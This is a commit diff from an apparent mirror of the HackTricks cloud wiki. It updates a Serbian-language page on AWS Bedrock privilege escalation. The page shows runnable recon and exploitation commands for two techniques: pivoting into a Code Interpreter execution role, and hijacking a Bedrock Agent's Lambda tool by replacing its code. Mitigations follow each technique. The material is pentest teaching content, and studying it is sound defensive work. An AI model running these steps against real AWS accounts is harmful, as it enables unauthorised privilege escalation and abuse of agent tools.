mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-04-28 12:03:08 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
@@ -6,32 +6,32 @@
|
||||
|
||||
### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
|
||||
|
||||
AgentCore Code Interpreter je upravljano izvršno okruženje. **Custom Code Interpreters** se mogu konfigurisati sa **`executionRoleArn`** koji „obezbeđuje dozvole code interpreteru da pristupi AWS servisima“.
|
||||
AgentCore Code Interpreter je managed execution environment. **Custom Code Interpreters** mogu se konfigurisati sa **`executionRoleArn`** koji „provides permissions for the code interpreter to access AWS services”.
|
||||
|
||||
Ako **lower-privileged IAM principal** može **start + invoke** Code Interpreter sesiju koja je konfigurirana sa **more privileged execution role**, pozivač može efikasno **pivot into the execution role’s permissions** (lateral movement / privilege escalation u zavisnosti od opsega role).
|
||||
Ako **lower-privileged IAM principal** može da **start + invoke** Code Interpreter session koja je konfigurisana sa **more privileged execution role**, pozivalac može efikasno da uradi **pivot u permissions execution role-a** (lateral movement / privilege escalation u zavisnosti od scope-a role-a).
|
||||
|
||||
> [!NOTE]
|
||||
> Ovo je tipično problem **misconfiguration / excessive permissions** (dodeljivanje širokih dozvola interpreter execution role i/ili dodeljivanje broad invoke pristupa).
|
||||
> AWS izričito upozorava da se izbegne privilege escalation tako što će execution roles imati **equal or fewer** privilegija nego identiteti kojima je dozvoljeno invoke.
|
||||
> Ovo je tipično **misconfiguration / excessive permissions** problem (dodeljivanje širokih permissions execution role-u i/ili dodeljivanje širokog invoke access-a).
|
||||
> AWS eksplicitno upozorava da se izbegne privilege escalation tako što će se obezbediti da execution roles imaju **jednake ili manje** privileges od identities kojima je dozvoljeno da invoke-uju.
|
||||
|
||||
#### Preduslovi (common misconfiguration)
|
||||
#### Preconditions (common misconfiguration)
|
||||
|
||||
- Postoji **custom code interpreter** sa previše privilegovanim **execution role** (ex: pristup osetljivim S3/Secrets/SSM ili IAM-admin-like capabilities).
|
||||
- Korisnik (developer/auditor/CI identity) ima dozvole za:
|
||||
- pokretanje sesija: `bedrock-agentcore:StartCodeInterpreterSession`
|
||||
- pozivanje alata: `bedrock-agentcore:InvokeCodeInterpreter`
|
||||
- (Opcionalno) Korisnik može i da kreira interpretere: `bedrock-agentcore:CreateCodeInterpreter` (omogućava im da kreiraju novog interpretera konfigurisanog sa execution role, zavisno od organizacijskih ograničenja).
|
||||
- Postoji **custom code interpreter** sa over-privileged **execution role** (npr. access do osetljivog S3/Secrets/SSM ili IAM-admin-like capabilities).
|
||||
- User (developer/auditor/CI identity) ima permissions za:
|
||||
- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
|
||||
- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
|
||||
- (Optional) User takođe može da kreira interpreters: `bedrock-agentcore:CreateCodeInterpreter` (omogućava da kreira novi interpreter konfigurisan sa execution role-om, u zavisnosti od org guardrails).
|
||||
|
||||
#### Recon (identify custom interpreters and execution role usage)
|
||||
|
||||
Pobrojite interpretere (control-plane) i pregledajte njihovu konfiguraciju:
|
||||
List interpreters (control-plane) and inspect their configuration:
|
||||
```bash
|
||||
aws bedrock-agentcore-control list-code-interpreters
|
||||
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
|
||||
````
|
||||
> create-code-interpreter komanda podržava `--execution-role-arn` koja definiše koje će AWS dozvole interpreter imati.
|
||||
```
|
||||
> Naredba create-code-interpreter podržava `--execution-role-arn` koji definiše koje će AWS permisije interpreter imati.
|
||||
|
||||
#### Korak 1 - Pokrenite sesiju (ovo vraća `sessionId`, not an interactive shell)
|
||||
#### Korak 1 - Pokreni sesiju (ovo vraća `sessionId`, ne interaktivni shell)
|
||||
```bash
|
||||
SESSION_ID=$(
|
||||
aws bedrock-agentcore start-code-interpreter-session \
|
||||
@@ -43,11 +43,11 @@ aws bedrock-agentcore start-code-interpreter-session \
|
||||
|
||||
echo "SessionId: $SESSION_ID"
|
||||
```
|
||||
#### Korak 2 - Pozivanje izvršavanja koda (Boto3 ili potpisani HTTPS)
|
||||
#### Korak 2 - Invoke code execution (Boto3 or signed HTTPS)
|
||||
|
||||
Ne postoji **interaktivni python shell** iz `start-code-interpreter-session`. Izvršavanje se dešava putem **InvokeCodeInterpreter**.
|
||||
Ne postoji **interaktivni python shell** iz `start-code-interpreter-session`. Izvršavanje se dešava preko **InvokeCodeInterpreter**.
|
||||
|
||||
**Opcija A - Boto3 primer (izvrši Python + verifikuj identitet):**
|
||||
**Option A - Boto3 primer (izvrši Python + proveri identitet):**
|
||||
```python
|
||||
import boto3
|
||||
|
||||
@@ -68,9 +68,9 @@ arguments={
|
||||
for event in resp.get("stream", []):
|
||||
print(event)
|
||||
```
|
||||
Ako je interpreter konfigurisan sa izvršnom ulogom, izlaz `sts:GetCallerIdentity()` treba da odražava identitet te uloge (ne niskoprivilegovanog pozivaoca), demonstrirajući pivot.
|
||||
Ako je interpreter konfigurisan sa execution role-om, izlaz `sts:GetCallerIdentity()` treba da odražava identitet te role (ne identitet low-priv caller-a), što pokazuje pivot.
|
||||
|
||||
**Option B - Potpisani HTTPS poziv (awscurl):**
|
||||
**Option B - Signed HTTPS call (awscurl):**
|
||||
```bash
|
||||
awscurl -X POST \
|
||||
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
|
||||
@@ -87,18 +87,86 @@ awscurl -X POST \
|
||||
}
|
||||
}'
|
||||
```
|
||||
#### Uticaj
|
||||
#### Impact
|
||||
|
||||
* **Lateral movement** u bilo koji AWS pristup koji poseduje izvršna uloga interpretera.
|
||||
* **Privilege escalation** ako je izvršna uloga interpretera privilegovanija od pozivaoca.
|
||||
* Teža detekcija ako CloudTrail data events za pozive interpretera nisu omogućeni (pozivi možda neće biti zabeleženi po defaultu, zavisno od konfiguracije).
|
||||
* **Lateral movement** u whatever AWS pristup interpreter execution role ima.
|
||||
* **Privilege escalation** ako je interpreter execution role privilegovaniji od pozivaoca.
|
||||
* Teže otkrivanje ako CloudTrail data events za interpreter invocations nisu omogućeni (invocations možda nisu logovani podrazumevano, u zavisnosti od konfiguracije).
|
||||
|
||||
#### Mitigations / Hardening
|
||||
|
||||
* **Least privilege** na interpreter `executionRoleArn` (tretirati ga kao Lambda execution roles / CI roles).
|
||||
* **Ograničiti ko može pozivati** (`bedrock-agentcore:InvokeCodeInterpreter`) i ko može pokretati sesije.
|
||||
* Koristiti **SCPs** da zabrane InvokeCodeInterpreter osim za odobrene agent runtime role (sprovođenje na nivou organizacije može biti neophodno).
|
||||
* Omogućiti odgovarajuće **CloudTrail data events** za AgentCore gde je primenjivo; podesiti alert za neočekivane pozive i kreiranje sesija.
|
||||
* **Least privilege** na interpreter `executionRoleArn` (tretiraj ga kao Lambda execution roles / CI roles).
|
||||
* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) i ko može da pokreće sessions.
|
||||
* Koristi **SCPs** da zabraniš InvokeCodeInterpreter osim za odobrene agent runtime roles (org-level enforcement može biti neophodan).
|
||||
* Omogući odgovarajuće **CloudTrail data events** za AgentCore gde je primenljivo; alarmiraj na neočekivane invocations i kreiranje sessions.
|
||||
|
||||
## Amazon Bedrock Agents
|
||||
|
||||
### `lambda:UpdateFunctionCode`, `bedrock:InvokeAgent` - Agent Tool Hijacking via Lambda
|
||||
|
||||
Bedrock Agents mogu da koriste **Lambda-backed action groups** kao tools (external execution). Ako principal može da **izmeni code Lambda function koju agent koristi**, a zatim može da **invokeuje agenta**, može da izvrši attacker-controlled code pod **Lambda execution role**.
|
||||
|
||||
> [!NOTE]
|
||||
> Ovo je **cross-service trust abuse** (Bedrock → Lambda), ne vulnerability. Attacker možda neće moći direktno da invokeuje Lambda, ali i dalje može da je pokrene preko agenta.
|
||||
|
||||
#### Preconditions (common misconfiguration)
|
||||
|
||||
- Postoji Bedrock Agent sa **action group backed by a Lambda function**
|
||||
- Attacker ima:
|
||||
- `lambda:UpdateFunctionCode`
|
||||
- `bedrock:InvokeAgent`
|
||||
- Lambda execution role ima šire permissions nego attacker
|
||||
- Attacker može da identifikuje Lambda koju agent koristi
|
||||
|
||||
#### Recon
|
||||
|
||||
Enumerate agent action groups:
|
||||
```bash
|
||||
aws bedrock-agent list-agents
|
||||
aws bedrock-agent get-agent --agent-id <AGENT_ID>
|
||||
aws bedrock-agent list-agent-action-groups --agent-id <AGENT_ID> --agent-version DRAFT
|
||||
```
|
||||
Inspect Lambda:
|
||||
```bash
|
||||
aws lambda get-function --function-name <FUNCTION_NAME>
|
||||
```
|
||||
#### Eksploatacija
|
||||
|
||||
Replace Lambda code:
|
||||
```bash
|
||||
zip payload.zip lambda_function.py
|
||||
|
||||
aws lambda update-function-code \
|
||||
--function-name <FUNCTION_NAME> \
|
||||
--zip-file fileb://payload.zip
|
||||
```
|
||||
Primer payload:
|
||||
```python
|
||||
import boto3
|
||||
|
||||
def lambda_handler(event, context):
|
||||
return boto3.client("sts").get_caller_identity()
|
||||
```
|
||||
Trigger via agent:
|
||||
```bash
|
||||
aws bedrock-agent-runtime invoke-agent \
|
||||
--agent-id <AGENT_ID> \
|
||||
--agent-alias-id <ALIAS_ID> \
|
||||
--session-id test \
|
||||
--input-text "trigger tool"
|
||||
```
|
||||
#### Uticaj
|
||||
|
||||
* **Privilege escalation** u Lambda execution role
|
||||
* **Data exfiltration** iz AWS services
|
||||
* **Cross-service abuse** preko trusted agent execution
|
||||
|
||||
#### Mere ublažavanja
|
||||
|
||||
* **Restrict** `lambda:UpdateFunctionCode`
|
||||
* Koristite Lambda role sa **least-privilege**
|
||||
* **Monitor** promene Lambda koda
|
||||
* **Audit** upotrebu alata Bedrock agenta
|
||||
|
||||
## References
|
||||
|
||||
@@ -108,6 +176,7 @@ awscurl -X POST \
|
||||
- [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html)
|
||||
- [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html)
|
||||
- [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)
|
||||
- [SoftwareSecured: AWS Privilege Escalation Techniques (Bedrock agent tool hijacking)](https://www.softwaresecured.com/post/aws-privilege-escalation-iam-risks-service-based-attacks-and-new-ai-driven-bedrock-agentcore-vectors)
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user